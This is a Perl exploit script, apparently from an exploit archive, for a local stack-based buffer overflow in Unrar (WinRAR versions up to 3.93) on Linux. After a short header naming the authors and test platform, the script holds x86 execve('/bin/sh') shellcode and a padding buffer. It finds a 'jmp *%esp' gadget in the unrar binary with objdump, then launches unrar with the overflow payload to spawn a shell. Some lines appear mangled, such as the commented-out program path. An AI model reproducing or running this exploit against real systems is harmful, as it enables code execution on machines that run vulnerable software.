#!/usr/bin/perl=head1 TITLE
Winrar <= v3.93 Local Stack-based Overflow exploit
=head2 DESCRIPTION
This script triggers a buffer overflow attack against Unrar, the linux popular version of WinRar extractor.
It was not developped to bypass non-executing stack patches.
Have phun
=head2 AUTHORS
ZadYree ~~ 3LRVS Team - Low Level Languages Reversing Vxing Security
=head2 Tested ON
Linux Debian 6. May work on FreeBSD.
=head3 THANKS
kmkz
regol
hellpast
Hebiko
m_101
ZadYree
SNCF
The one who sent me that locked .rar
=cut
use 5.010;# Shellcode: execve("/bin/sh") => http://www.shell-storm.org/shellcode/files/shellcode-752.php
use constant SHELLCODE =>"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f"."\x73\x68\x68\x2f\x62\x69\x6e\x89"."\xe3\xb0\x0b\xcd\x80";
use constant BUFF =>('-'.('3lrvs' x 820));##$pname="/usr/bin/unrar";
die "[-]File $pname does not exist!\012" unless (-e $pname);
say "[*]Looking for jmp *%esp gadget...";for my $line(qx{objdump -D$pname|grep"ff e4"}){$esp="0".$1, last if($line=~ m{([a-f0-9]{7}).+jmp\s{4}\*%esp});}
say '[+]Jump to $esp found! (0x', $esp, ")\012[+]Now exploiting...";
sleep(1);
my @payload =($pname, (BUFF . pack("V", hex($esp)). SHELLCODE ."\012"));
exec(@payload);